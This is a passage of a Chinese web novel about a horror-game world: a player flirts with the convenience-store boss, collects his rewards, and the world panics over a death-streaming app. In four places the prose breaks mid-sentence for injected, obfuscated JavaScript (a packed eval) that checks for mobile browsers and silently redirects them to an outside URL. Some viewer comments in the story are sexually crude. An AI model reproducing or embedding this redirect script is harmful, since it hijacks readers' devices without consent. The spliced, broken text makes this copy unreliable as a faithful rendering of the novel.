微生澈走得不快,他的腿很长,每一步都稳,像丈量过距离,皮鞋底踩在瓷砖地面上,发出很轻的规律的声响,在过分安静的便利店里清晰得让人心跳加速。 庄静娴呆住了。 弹幕也呆住了,屏幕上一时间出现了大片的空白,安静得像直播间里所有东西都死了。 庄静娴见过很多好看的人,现实里的,屏幕上的,游戏里的,但眼前这个人不一样。 不是帅,是某种更超越的近乎非人的美丽,像是博物馆里陈列的希腊雕塑突然活了过来,但雕塑不会有这样冷的眼睛,这样淡的唇色,这样……恐怖的存在感。 微生澈走到收银台后,姿态自然,他看了庄静娴一眼,目光落在谢秋慈身上,从上到下扫了一遍,然后停在他胸前那枚“微笑便利店”的员工胸牌上。 他开口,声音很好听,是那种低沉的带着一点磁性的男声,但语调很平,没什么情绪:“你们是新员工?” 谢秋慈也在看他。 从脸,到脖子,到被衬衫和马甲包裹的胸口和腰线,再到长的离谱的腿,看得很仔细,像在鉴赏什么艺术品。 “店长好。”谢秋慈走过来,语气轻松得像在跟同事打招呼,“我叫谢秋慈,今晚的夜班店员。她是庄静娴,我的同事。” 微生澈点了点头,目光转向收银台,那里还放着那枚暗红色的硬币,是裂口女给的,他的视线在硬币上停留 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17493643|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了半秒,又移开。 “夜班还顺利吗?”他问,像普通的店长在询问工作情况。 “还行。”谢秋慈说,然后像是突然想起什么,补充道,“哦对了,我投诉小李。” 微生澈抬起眼。 “他骗我们去仓库,还想害我们违规,”谢秋慈继续说,“还试图攻击我。店长,你们这儿员工培训不太行啊,对新人这么不友好?” 庄静娴:“……” 很奇怪的,谢秋慈开口说话之后,那种无形的压迫感就消散了,像潮水退去,她终于再次获得了呼吸的权利,也停止了颤抖,至少没有刚才那么害怕了。 庄静娴张了张嘴,想说什么,但发不出声音。 投诉?在这种地方?对店长?投诉一个明显不是人的“同事”? 知道谢秋慈又开始作死了,庄静娴的心里居然有一种诡异的“果然会这样”的平静感,但下一秒,她看向微生澈,心脏又提到了嗓子眼。 按照恐怖程度来排,还有身份来排,这个店长绝对是游戏里的大boss,如果对方发怒,他们会死吗?他们已经扛过了那么多怪物,会死在最后一步吗? 听到谢秋慈的话,微生澈的表情没什么变化,他沉默了两秒:“小李的事我会处理。” “怎么处理?”谢秋慈追问,他身体微微前倾,手撑在收银台上,离微生澈很近,“扣工资?开除?还是……” 他顿了顿,声音压低一点,带着点玩味:“关仓库里?” 微生澈看着他。 两人的距离很近,近到微生澈能看见谢秋慈眼尾那颗泪痣在灯光下微微发亮,谢秋慈能看见微生澈镜片后浅灰色眼睛里极细微的,几乎察觉不到的情绪波动。 像平静的湖面,被投进了一颗很小的石子,但石子太小,涟漪还没散开就消失了。 “那是内部事务。”微生澈说,语气依旧平稳,“夜班还剩十五分钟,你该准备交班了。” 谢秋慈“哦”了一声,直起身,但他没动,还站在那儿,看着微生澈。 看了几秒,他突然说:“店长,你身材不错。” 庄静娴:? 庄静娴:??? 微生澈:“……” 【???????】 【他在说什么?!谢秋慈在对店长说什么?!】 【这店长绝对是大boss吧,他出来的时候力量波动把我都吓了一跳……】 【之前看便利店副本,都没玩家能活到店长出来的时候,这还是我第一次见到店长】 【虽然我承认这个店长看起来是很帅,但谢秋慈,你是不是有点不对劲】 【连这都要作死调戏一下吗?谢秋慈你是真的勇啊!!】 【庄静娴的表情:我是谁我在哪我听到了什么】 【老婆你居然和别的男人这样说话,我不活了】 微生澈没说话,似乎是被谢秋慈的话惊到了,而谢秋慈像是得到了默许,他微微弯起嘴角,得寸进尺地伸出手—— 不是很快,甚至有点慢,像在给足对方反应时间。 但微生澈没躲,于是谢秋慈的手顺理成章地落在了微生澈的腹部,隔着衬衫和马甲,能摸到下面紧实的肌肉线条,手指甚至轻轻按了按,像在确认手感。 庄静娴的呼吸彻底停了。 她瞪大眼睛,看着谢秋慈的手隔着布料按在店长的腹肌上来回摸,看着店长没有任何阻止的动作,然后她听见谢秋慈评价:“练得挺好,腹肌手感不错。” 微生澈终于有了反应。 11.微笑便利店完 微生澈低头看了眼按在自己小腹,疑似还要继续往下摸的手,又抬眼看向谢秋慈,沉默片刻后,轻轻握住了谢秋慈的手腕。 他的手凉得像冰,力道不重但很稳,谢秋慈没抽回手,继续光明正大地占对方便宜,小手指不安分地勾了勾,饶有兴趣地问:“怎么练的?” 微生澈沉默了一下,表情有点复杂:“天生的。” “啧。”谢秋慈有些不爽地点点头,终于抽回手,退后一步,活动了一下手腕,那上面留着一圈很淡的红痕,是微生澈握过的地方。 【……?这对吗?】 【这肯定不对啊,你们没看过其他直播吗,敢调戏副本boss的基本上都死了,而且死的很惨好吗】 【我怎么越看越不对劲呢?他们俩是不是gay gay的】 【烧货,摸腹肌这么熟练,早就□□熟了吧,这么不检点,老公对你真的太失望了】 【万一谢秋慈是好男孩呢】 【不止,你们注意到店长沉默的那几秒没,他耳朵红了哦】 【这他*是恐怖游戏,不是恋综好吗!也不是嘎啦给木!!!对恐怖游戏有最起码的尊重好吗?谁允许你们在恐怖游戏里面搞暧昧的?!!】 【其实吧,如果他们两个非要做r18的片给我看的话,我也是可以勉强看一下的啦嘻嘻】 谢秋慈突然转移话题:“对了店长,夜班工资怎么算?时薪多少?有加班费吗?刚才小李攻击我,算工伤吧?你们这儿给上保险吗?” 一连串问题,问得又快又自然。 庄静娴已经麻木了,她看着谢秋慈,又看看微生澈,觉得这个世界可能真的疯了。 微生澈沉默了几秒,然后从收银台抽屉里拿出一本册子,他翻到某一页,推到谢秋慈面前。 “时薪二十,夜班补贴五块,加班费按法定算。工伤需要医疗证明。保险……”他顿了顿,“本店提供特殊险种,但理赔条件比较苛刻。” 谢秋慈拿起手册,翻了翻,然后指着其中一行:“‘如员工在岗期间因公殉职,抚恤金为一百积分’,积分是什么?” “游戏内货币。”微生澈说,“通关副本后结算。” “那我今晚能拿多少?”谢秋慈歪了下头。 微生澈看向他,浅灰色的眼睛在镜片后微微眯了一下:“你想提前结算?” “不行吗?”谢秋慈反问,“我看规则没说不可以。” “可以。”微生澈说,然后抬起手,轻轻一挥。 没有响指,没有光影特效,但便利店里,谢秋慈的视野中,突然浮现出一片半透明的屏幕。 屏幕的样式很古朴,像是羊皮纸卷轴,边缘有暗金色的纹路,文字是墨黑色的,微微浮动着,仿佛有生命。 【结算界面】 【玩家:谢秋慈】 【副本:微笑便利店(新手教程)】 【通关状态:已完成】 【完成事项:接待顾客-裂口女(完成度:100%,评价:卓越) 接待顾客-人面犬(完成度:100%,评价:卓越) 接待顾客-伞妖(完成度:100%,评价:卓越) 接待顾客-红雨衣儿童(完成度:100%,评价:卓越) 货架整理(完成度:100%,评价:卓越) 仓库补货(完成度:100%,评价:卓越) 抵抗员工诱导/攻击(完成度:100%,评价:卓越)】 【违规次数:0】 【理智壁垒:90/100(你的“常识”崩解得颇具美感)】 【侵蚀度:0%】 【综合评价:S】 【获得积分:1000】 【获得道具: 1. 裂口女的硬币(已绑定)【描述:一枚沾染了裂口女气息的硬币,似乎能让她对你产生一丝微弱的好感。使用后可在规则类副本中短暂获得“微笑服务”加成。】 2. 人面犬的硬币(已绑定)【描述:人面犬给你的“食物费”,干净的硬币代表纯粹的谢意。使用后可短暂听懂非人存在的简单意图。】 3. 伞妖的黑伞(已绑定)【描述:伞妖遗留的伞,伞下阴影中栖息着不安的存在。可展开制造一片3x3米的阴影区域,区域内光线减弱,可干扰低级邪祟感知。注意:长时间使用可能吸引阴影中的眼睛注视。】 【获得技能:拿来吧你(初级)】 【技能描述:每日可使用1次。你可以从目标处“拿来”一件非绑定的物品或一个非核心的念头,成功率取决于目标对你的“在意程度”。冷却时间24小时。】 【是否立即领取奖励并离开副本?是/否】 谢秋慈快速看完,目光在“伞妖的黑伞”上停留了一瞬,那把伞果然成了道具,然后看向技能描述的最后一句。 “在意程度?”他抬起头,“店长,这个‘在意程度’,是怎么算的?” “字面意思。”微生澈说,“目标越在意你,成功率越高。” “哦。”谢秋慈点点头,然后突然问,“那店长,你在意我吗?” 微生澈:“……” 庄静娴:“……” 【他又开始了!他又开始了!】 【“你在意我吗”这是能直接问的吗?!你怎么不干脆问他喜不喜欢你呢??】 【勾引人这么熟练,果然不愧是烧货,故意放荡给我们看的吧】 【庄静娴已经放弃表情管理了】 微生澈沉默了三秒,拙劣地转移了话题:“结算时间有限。” “行吧。”谢秋慈耸耸肩,目光落在半透明的羊皮纸界面上,在心里默念了“是”。 界面上的文字开始消散,化作流光融入空气,而便利店里,货架恢复了正常,上面摆着真正的饼干,饮料,日用品。 窗外,天已经蒙蒙亮,灰白色的晨光透过玻璃照进来,落在瓷砖地面上,一切都恢复了原样,就像真的只是一个普通的便利店夜班刚刚结束。 庄静娴呆呆地看着这一切,然后猛地转头看向谢秋慈。 谢秋慈还站在原地,他低头看了看自己,店员制服还在,但胸前的污渍消失了。 “恭喜。”微生澈的声音响起。 谢秋慈抬头,看见微生澈还站在收银台后,穿着店长制服,银发束在脑后,金丝眼镜反射着晨光。 他没有消失。 “恭喜你通关第一个副本。”微生澈说,声音比刚才柔和了一点,但还是很淡,“积分和道具已发放,技能已激活。游戏会随机选择玩家进入副本,时间不定,做好准备。” 他顿了顿,补充:“你可以走了。” 谢秋慈没动,他突然笑起来,眉眼精致的像画一样:“店长,我能问你个问题吗?” “嗯。”微生澈点头。 “你真是店长吗?” 微生澈看着他,浅灰色的眼睛里没什么情绪,但庄静娴莫名觉得,那里面闪过一丝很淡的,近乎无奈的东西。 “现在是。”他说。 “那以后呢?”谢秋慈追问。 微生澈这次没回答。 时间走向6点整,谢秋慈感觉到自己被无形的力量朝着门口推去,他顺着那道力量走了两步,又回头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507511|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“对了店长。” 微生澈静静看着他。 谢秋慈弯起嘴角:“下次我来买东西,能打折吗?” 微生澈沉默了几秒:“员工价八折。” “行。”谢秋慈满意了,推开门走了出去。 门外是真实的清晨的街道,空气微凉,带着点雾气,庄静娴愣了几秒,然后猛地冲出去,追上谢秋慈:“等,等等我!” 她跟着谢秋慈走出便利店,走到人行道上,莫名想回头看一眼。 便利店还亮着灯,但透过玻璃门,她看见收银台后已经没有人了。 微生澈消失了。 在他们看不到的地方,由于副本通关,直播间已经关闭,界面变成了黑色,但弹幕依旧停留刷的飞快: 【我看了直播给的结算,虽然关键信息被打码了,但是S评价!】 【这新人未必太逆天了,希望他能活的久一点吧,我还没看够呢】 【老婆下个副本见嘻嘻,下个副本记得穿烧一点哦,我喜欢全透明薄纱加乳链,丁字裤女仆装也可以哦】 【有不少昙花一现的新人主播,第二个副本就死了哈哈哈哈哈】 【好刺激,我要追这个主播】 庄静娴跟着谢秋慈走了一段,直到彻底看不见便利店了,她才停下来,大口喘气。 天亮了,真的亮了。 她还活着,她通关了。 庄静娴靠着路边的电线杆,慢慢滑坐到地上,终于落下忍了一整个副本的眼泪,是劫后余生的庆幸的眼泪。 谢秋慈站在她旁边,看着清晨空荡荡的街道,晨光照在他脸上,那颗泪痣清晰得有些晃眼。 他的表情很平静,甚至有点散漫,好像刚刚经历的不是生死游戏,只是加了个有点刺激的夜班。 过了一会儿,庄静娴擦掉眼泪,抬头看他:“谢、谢谢……” 如果不是谢秋慈,她在这个副本里不知道死了多少次,她完全就是躺赢过来的。 “不用。”谢秋慈笑了笑,“合作愉快。” 庄静娴问:“你接下来有什么打算?” “回家睡觉。”谢秋慈说得很自然,“夜班结束,该补觉了。” 庄静娴愣住:“你就这么平静?” “不然呢?”谢秋慈反问,“抱头痛哭?还是去庙里烧香?” 庄静娴被噎了一下,然后苦笑:“也是,但我们不知道下次副本什么时候来,可能是明天,可能是一个月后,也可能……” 她顿了顿,没说完。 也可能永远不来——但这话她说不出口,经历了刚才那些,她知道这个“游戏”不会轻易放过他们。 “来就来吧。”谢秋慈语气轻松,“反正闲着也是闲着。” 庄静娴:“……” 她看着谢秋慈,晨光里这个年轻人的侧脸干净又好看,美得有些不真实,像定制的建模,但说出来的话总是让人不知道该怎么接。 “那个,大佬,”庄静娴从地上爬起来,拍了拍裤子上的灰,然后很认真地说,“下次如果还能在副本里遇见,我们可以继续组队吗?” 谢秋慈随意点点头:“行。” “那大佬,我们交换个联系方式?”庄静娴掏出手机。 谢秋慈也掏出手机,两人加了好友。 抱上了金大腿,庄静娴松了口气:“那我先回家了,我也得好好睡一觉。” “嗯。”谢秋慈说,“再见。” “再见。” 庄静娴转身走了几步,又回头,看见谢秋慈还站在路边,晨光把他的影子拉得很长。 孤单的,但挺直的影子。 12.第 12 章 谢秋慈回到租住的老旧小区时,天已经大亮了。 六点多的清晨,小区里本该是老人遛狗、学生赶早读、上班族匆忙买早餐的日常景象,但今天不一样。 太安静了。 几个大爷大妈聚在小区门口,围着一个人的手机,脸色发白,指指点点,一个穿校服的中学生背着书包站在路边,不往前走,就盯着手机屏幕,手指在发抖。 更远处,能听见谁家窗户里传出的尖叫声,很快又像是被捂住了嘴,变成闷闷的呜咽。 谢秋慈从他们身边走过,听见零碎的对话:“真的死人了……” “直播……强制弹出来的……” “删不掉!那个APP删不掉!” 他脚步没停,走进单元门上楼,楼道里的声控灯坏了,他摸黑走到四楼,掏出钥匙开门。 “咔哒。” 隔音很差的老房子,能听见隔壁传来电视新闻的声音,主持人的语调是强作镇定的急促:“……全球范围内出现不明现象,部分民众反馈被强制安装名为‘罪渊’的应用程序,并遭遇无法解释的‘直播事件’。” “目前各国政府已成立专项调查组,请广大市民保持冷静,尽量避免单独行动,如遇异常情况立即报警……” 谢秋慈换了鞋,走到窗边的小桌前坐下,从包里拿出那块过期三明治,是进副本前自己放在用餐区桌子上的,走的时候也顺手带走了。 草莓味三明治的味道很一般,果酱甜的有些发腻,蜡烛烧剩下的那点粉色蜡油凝固在面包胚上,像一滴干涸的眼泪。 谢秋慈掏出手机,屏幕上几十条推送通知爆炸般弹出来,微博热搜前十条全红了: 【#恐怖游戏降临现实#】 【#罪渊APP无法删除#】 【#全球直播死亡事件#】 【#第一个S评价新人#】 【#国家紧急通报#】 【#死亡率超过80%#】 【#世界怎么了#】 谢秋慈点开热搜第一条,热门微博是一个自称“侥幸生还”的用户发的长文,配了几张模糊的截图,能看出是某个医院的场景,但画面扭曲,有血迹,有黑影。 文字部分语无伦次,充满了惊恐和崩溃:“我在值夜班,突然就被拉进去了!是一个废弃医院,规则是不能发出声音,不能看见‘医生’的脸……” “我同事只是喘气声大了点,就被拖走了,我躲在柜子里六个小时,直到天亮才出来……这不是游戏!这不是游戏!真的会死!!!” 下面评论已经破了十万条,还在疯涨,恐慌的情绪在飞速蔓延: “我也被拉进去了,我们班三十个人,只活了四个!” “我老公到现在还没回来,电话打不通,APP显示‘直播已结束’……” “国家到底在干什么?这到底是什么东西?!” 谢秋慈划了一会儿,退出微博,点开那个“罪渊”APP,顶部是个人信息栏,显示他的ID、积分、副本记录,中间是几个功能区:【直播平台】、【积分商城】、【玩家论坛】、【副本记录】。 他先点开【直播平台】。首页是推荐位,最上方、最大封面的那个直播间,标题赫然写着:【新人调戏BOSS实录 | 微笑便利店S评价通关】 直播间的观看人数显示:1.2亿。 在线人数还在缓慢增长。 谢秋慈挑眉,点进自己的直播间。画面是黑屏,显示“直播已结束”,但可以看回放,也能看到历史弹幕记录,密密麻麻,几乎遮住画面: 【新人这脸是真实存在的吗】 【便利店战神!】 【摸店长腹肌的时候我人没了】 【他一次伤都没受,能力是防御类的?】 【乐子人天花板】 【有人组队吗?想抱大腿】 【S评价啊!第一个副本就S!】 【这俩是gay吧】 当然,诅咒和辱骂他的,觉得他下个副本就会死的很惨的弹幕也有不少,充斥着屏幕,像巨大的情绪发泄场。 谢秋慈退出直播间,看向首页的其他推荐。几十个直播间在同时直播,封面五花八门:废弃医院、血腥教室、闹鬼公寓……每个直播间的在线观看人数都不低。 但很多直播间的标题后面,跟着一个灰色的【已结束】标志,点进去,画面是黑屏,只有一行小字:“玩家已死亡,直播终止。” 他随机点开一个还在直播的,封面是个办公室场景,画面里,一个穿西装的男人缩在办公桌下,满脸是血,正用手死死捂着嘴,不让自己发出声音。 而他头顶的办公桌上,一双惨白的、骨节分明的手正在慢慢摸索,指甲刮过桌面,发出刺耳的“滋啦”声。 观看人数:四十万。 谢秋慈退出直播平台,点开【积分商城】,里面的界面像普通的购物网站,商品分类很详细:【道具】、【技能书】、【强化药剂】、【情报】、【特殊物品】。 他先看【道具】,最便宜的是一把【生锈的水果刀】,描述是“勉强能防身”,售价50积分。 稍好点的有【微弱治疗药剂】,能止血止痛,售价200积分。 【一次性隐身符】,持续十秒,售价500积分。 越往下翻,价格越离谱。 【替身人偶】(可抵挡一次致命攻击):5000积分。 【规则窥探眼镜】(可看破一条规则的隐藏条件):8000积分。 【空间跳跃卷轴】(随机传送至100米内安全点):12000积分。 谢秋慈现在的积分是1000,能买的东西不多,他继续往下翻,翻到【特殊物品】分类,这里的东西很少,他的视线落在其中一样上。 【原罪之钥(碎片)】 【描述:可开启隐藏的“原罪副本”。注意:原罪副本为特殊高难副本,死亡率99.9%。 售价:100,000积分。】 抢劫呢。谢秋慈多看了几秒,关掉商城,点开【玩家论坛】,论坛里已经炸了,帖子刷新速度快得眼花缭乱,标题一个比一个惊悚:【医院副本幸存者经验分享(尽量别进去)】 【有人组队吗?我能力是‘火焰操控’,求靠谱队友】 【那个便利店新人到底什么来头?有没有人认识?】 【国家已经开始招募玩家了,待遇从优!】 【积分商城的物价是人定的吗?】 【我老婆没回来……有没有人见过这个女孩?(照片)】 谢秋慈点进那个关于自己的帖子,楼主是个ID叫“求大佬带飞”的用户: “如题,那个便利店新人,ID应该是谢秋慈,第一个副本S评价,全程没受伤,还调戏了店长BOSS。有没有人知道他的能力是什么?有没有联系方式?想抱大腿。” 下面跟了几百楼: “同求,这大佬太强了。” “能力可能是‘绝对防御’之类的?不然解释不通为什么没受伤。” “也可能是治疗类,瞬间回血。” “店长最后给他打折了,是不是好感度刷满了?” “大佬求带!我什么都会做!” “别做梦了,这种级别的大佬看得上你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507512|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 手机震动了一下,是庄静娴发来的消息。 庄静娴:【我到家了。你看了热搜吗?全世界都乱了。】 谢秋慈回了个“嗯”。 庄静娴的消息很快又过来:【我真的没想到,有朝一日世界会变成这样。虽然有时候上班上烦了,拿着三千块钱工资干一万多的活,还要忍受傻叉老板和同事,经常希望世界毁灭,但那也只是发泄情绪……没想到世界居然真的会毁灭啊。】 谢秋慈看着这条消息,手指在屏幕上停顿了一下,他想起昨天凌晨,自己在便利店对着过期三明治插上蜡烛,许的那个愿。 “希望世界毁灭。” 然后世界就真的开始毁灭了。 庄静娴又发来一条:【我叔叔刚给我打电话了。他在特殊部门工作,说国家已经在组织应对了,还问我有没有认识的厉害玩家……】 【我提了你,但他好像没太在意,就说会‘初步关注’,可能因为你才过一个副本吧。】 谢秋慈回:【嗯。】 【你接下来打算怎么办?】庄静娴问。 谢秋慈:【睡觉。】 庄静娴:【……行吧。那你睡,我也要补觉了。下次副本如果遇到,求求大佬和我组队,我绝不拖后腿,你让我干什么我就干什么!】 谢秋慈:【好。】 结束聊天,谢秋慈放下手机,伸手摸了摸胸前的山神像挂坠,躺到那张窄小的单人床上。 枕头很硬,被子有股潮湿的味道,窗外偶尔传来警笛声、哭喊声、争执声,但谢秋慈闭上眼,很快就睡着了。 呼吸平稳,眉头舒展,像只是加了个有点累的夜班,现在该补觉了。 而在城市的另一头,某个挂着“异常事件应对中心(ERA)”牌子的建筑里,一个中年男人放下电话,揉了揉眉心。 他面前是巨大的电子屏幕,分割成几十个小画面,每个画面都是一个直播间的实时监控,其中一个小画面定格在谢秋慈已经关闭的直播间上。 “谢秋慈,十八岁,福利院长大,目前是便利店夜班员工。第一个副本S评价,无伤通关。”男人念着手里的资料,看向对面的年轻下属,“你怎么看?” 下属推了推眼镜:“很特别。但他才过一个副本,样本太少,而且‘无伤’可能是能力,也可能是运气。” “庄静娴说他很冷静,冷静得不正常。”男人说。 “在那种地方,冷静是好事。”下属顿了顿,“要接触吗?” “先观察。”男人说,“他现在能力不明,潜力也不明,等再过一两个副本,如果还能活下来,再考虑接触。” “明白。” 男人又看向屏幕,目光落在谢秋慈那张脸上,看了几秒,然后移开:“通知下去,所有已知玩家建立档案,分级监控。重点关注高评价、高存活率、有特殊能力表现的。” “是。” 下属转身离开,男人独自坐在屏幕前,看着那些不断刷新,又不断黑屏的直播间画面,眉头越皱越紧。 他们能做的,太少了。 他拿起桌上的一份报告,标题是《“罪渊”游戏初步分析报告》,翻开第一页:“游戏疑似具有‘筛选’与‘培养’功能,最终目的不明。玩家死亡率目前为82.3%,但存活玩家中开始出现‘超凡能力’觉醒现象……” 他合上报告,长长叹了口气,然后拿起电话,拨通一个号码:“给我接‘那位’……对,就说,事情比我们想的更糟。” 电话那头传来忙音,男人放下电话,看向窗外。 天亮了。 但黑暗,好像才刚刚开始。 13.红月公寓·骑手送餐手册1 谢秋慈在床上翻了个身,睡得很沉。 在梦里,他又回到了那个便利店,看见微生澈站在收银台,银色长发束在脑后,是在现实里绝对见不到的长度和顺滑,仿佛一捧被束缚的月光。 对方浅灰色的眼睛里没什么情绪,但那张脸在梦里格外清晰,带着非人的美感,宛如神像。 谢秋慈微微挑了下眉。 不过就是调戏了一下副本的boss,对方居然还能追到梦里来,这么记仇? 他饶有兴致地走过去靠在收银台边,对着微生澈轻佻地吹了声口哨,丝毫不怕对方会做什么,变本加厉地占便宜:“其实我第一次见到你,就想对你说——” “你长得好像我死掉的老婆。” 明明没什么变化,但谢秋慈就是觉得微生澈脸上的表情凝固了一下。 微生澈看着他,这次耳朵尖没变红,颜色很淡形状很好看的嘴唇动了动,好像说了句什么。 谢秋慈没听清,他就着这个姿势懒洋洋地往前靠,脸颊几乎要贴到微生侧的小腹,想让对方再说一遍,但还没等他开口,梦就醒了。 像被人从梦境里火急火燎踢出来的。 睁开眼,房间里一片昏暗,他睡了整整一天。 谢秋慈不爽地“啧”了一声。 下次当面问吧,他倒要看看对方能说出什么话来。 拉开窗帘,窗外的城市依旧灯火通明,但很多窗户是黑的。 很多人没回来。 很多人再也不会回来。 谢秋慈看着夜景,抬手摸了摸胸前的山神像挂坠,挂坠不再发烫,恢复了石质的冰凉。 他收回手,走到狭窄的厨房,打开冰箱,里面只有两个鸡蛋,他随手拿了,开小火用平底锅煎,蛋液在锅里“滋啦”作响,慢慢凝固变白,边缘泛起焦黄。 他关了火,把煎蛋倒进盘子里,没放盐,也没放酱油,就着冷水慢慢吃完。 罪渊APP上很热闹,各种社交软件也很热闹,热搜还在不断刷新,恐慌的情绪继续不断蔓延,下一个副本什么时候来,不知道,来了会是什么,不知道,能不能活下来,不知道。 谢秋慈单手托腮,刷着手机上飞速被下架的违规视频,甚至有点期待快点进入下一个副本。 * 全球性的“副本降临”事件在最初二十四小时引发了全面恐慌,交通瘫痪、超市抢购、部分地区的骚乱,但出乎所有人意料的是,这种混乱并没有持续太久。 在第一个副本降临又结束后的第七天,世界基本恢复了某种诡异的平静。 原因很简单:从副本里活着出来的人,什么也带不出来。 能力、道具、甚至在副本中受的伤,只要脱离那个诡异的空间,一切都会恢复原状。 断掉的手臂会重新长回来,染血的衣服会变回干净,就连记忆都会变得模糊,像一场醒后只剩心悸的噩梦。 唯一留下的,只有手机上那个删不掉的罪渊APP,而没被选中进副本的人,依旧过着普通的日子。 国家机器在最初的措手不及后,展现了惊人的效率,二十四小时全天候的安抚通告,专家解读,心理疏导热线,以及最重要的,对每一个已知“副本生成地点”的严密管控和观测。 谢秋慈打工的那家便利店,在副本结束的第二天就被拉上了黄色警戒线。 穿着制服的工作人员在那片区域进进出出,架设起各种专业仪器,铁公鸡店长哭丧着脸接到通知,店面因“特殊原因”无限期停业,谢秋慈自然也就失了业。 他站在街对面,看着自己工作了几个月的便利店,玻璃窗上还贴着“第二件半价”的促销贴纸,但里面已经空无一人,几个穿着类似防护服的人正在里面仔细地扫描着什么,神情严肃。 罪渊APP的主播开播界面一片漆黑,看来现实世界里,直播并不能开启,只能观看别人进副本,而且地球人目前还没有发送弹幕的权限,至于达到什么条件才能解锁,没人知道。 谢秋慈摸了摸口袋,里面是最后结算的工资,薄薄一叠。 他需要一份新工作,越快越好。 外卖骑手的注册流程简单得不可思议。 下载APP,上传身份证,线上简单培训,通过一个敷衍的交通安全问答,交一百块押金领一件荧光黄马甲和头盔,就齐活了。 平台显然正处于缺人状态,尤其是夜班。 “现在晚上跑单的人少了快一半,”站点的调度大叔叼着烟,斜眼打量谢秋慈,“都怕跑着跑着,嗖一下,被拉进那鬼地方。小伙子,你不怕?” 谢秋慈正在调整头盔带子,闻言抬头:“怕什么?” “副本啊!”大叔压低声音,“新闻没看?死了那么多人,进去十个,能活着出来两三个就不错了,而且专挑落单的、半夜还在外面的!” “哦。”谢秋慈扣好卡扣,“那夜班补贴涨了吗?” 大叔被噎了一下:“……涨、涨了百分之二十。” 但问题是这个吗??这人会不会抓重点啊? “行。”谢秋慈跨上租来的那辆旧电瓶车,拧了拧油门,电量显示满格。 他看向大叔:“高危订单加价吗?” “啥?”大叔愣住。 “就是那种,明显有问题的单子。”谢秋慈语气平静,“地址邪门,备注古怪,或者被取消很多次的。这种单,配送费应该额外加钱吧?毕竟风险高。” 大叔瞪着他,烟都快掉了:“你小子想钱想疯了吧?那种单能接吗?!前几天还有个骑手,接了个殡仪馆旁边的单,人到现在都没找着!” “所以加多少?”谢秋慈耐心地问。 “……” 大叔沉默了几秒,像是第一次认真看这个过分好看的年轻人。 瘦,白,眉眼精致得不真实,比那些小白脸明星还好看,要是去当模子,估计每天都有富婆给他开香槟塔,但那双眼睛看人的时候,里面一点温度都没有。 知道对方应该很缺钱,但大叔还没缺德到劝人下海做鸭,他搓了搓胳膊,嘟囔了一句:“平台有规定,连续取消三次以上的订单,系统会自动加小费……但那种单子,你看到就赶紧划掉,听见没?钱重要还是命重要?” 谢秋慈点点头,不置可否,拧动油门,电瓶车悄无声息地滑入夜色。 第三天的凌晨一点十七分。 谢秋慈刚送完一单网吧的炒粉,把车停在路边,拧开矿泉水瓶喝了一口。 夜风带着初夏的微燥,吹过空荡荡的街道,这条街的路灯坏了一半,剩下的一半光线昏黄,勉强照亮坑洼的水泥路面。 便利店事件后,他换了住处, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507513|202369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在租着个老小区的一室户,月租八百,押一付一,钱花得很快。 手机在这时震动起来,不是新订单的提示音,而是更尖锐、更急促的“滴滴”声。 谢秋慈放下水瓶,看向屏幕。 【加急订单!!!】 【取餐点:“老陈骨汤麻辣烫”(幸福路店)】 【送餐地址:红月公寓4栋404室】 【商品:骨汤麻辣烫(特辣)*1】 【备注:送到请敲门三下,放门口,不要看猫眼,不要说话,收了钱快走。一定要特辣,不够辣我会生气。】 【配送费:50.00元】 【预计送达时间:01:45前】 【订单已被连续取消:7次】 五十块。 谢秋慈眉梢微挑,平常这个距离的订单,深夜配送费顶天十五块。 他手指悬在屏幕上方,没有立刻点“接单”,而是先切到了骑手聊天群,这个点,群里还有几个没下线的夜猫子在扯淡。 往上翻了翻,果然看到相关记录。 大约一小时前: 【老张不是隔壁老王】:草,红月公寓那鬼单又弹出来了!第几次了? 【小王快跑】:忘了,但是谁敢接啊,那地方邪门。 【江湖人称李师傅】:咋回事? 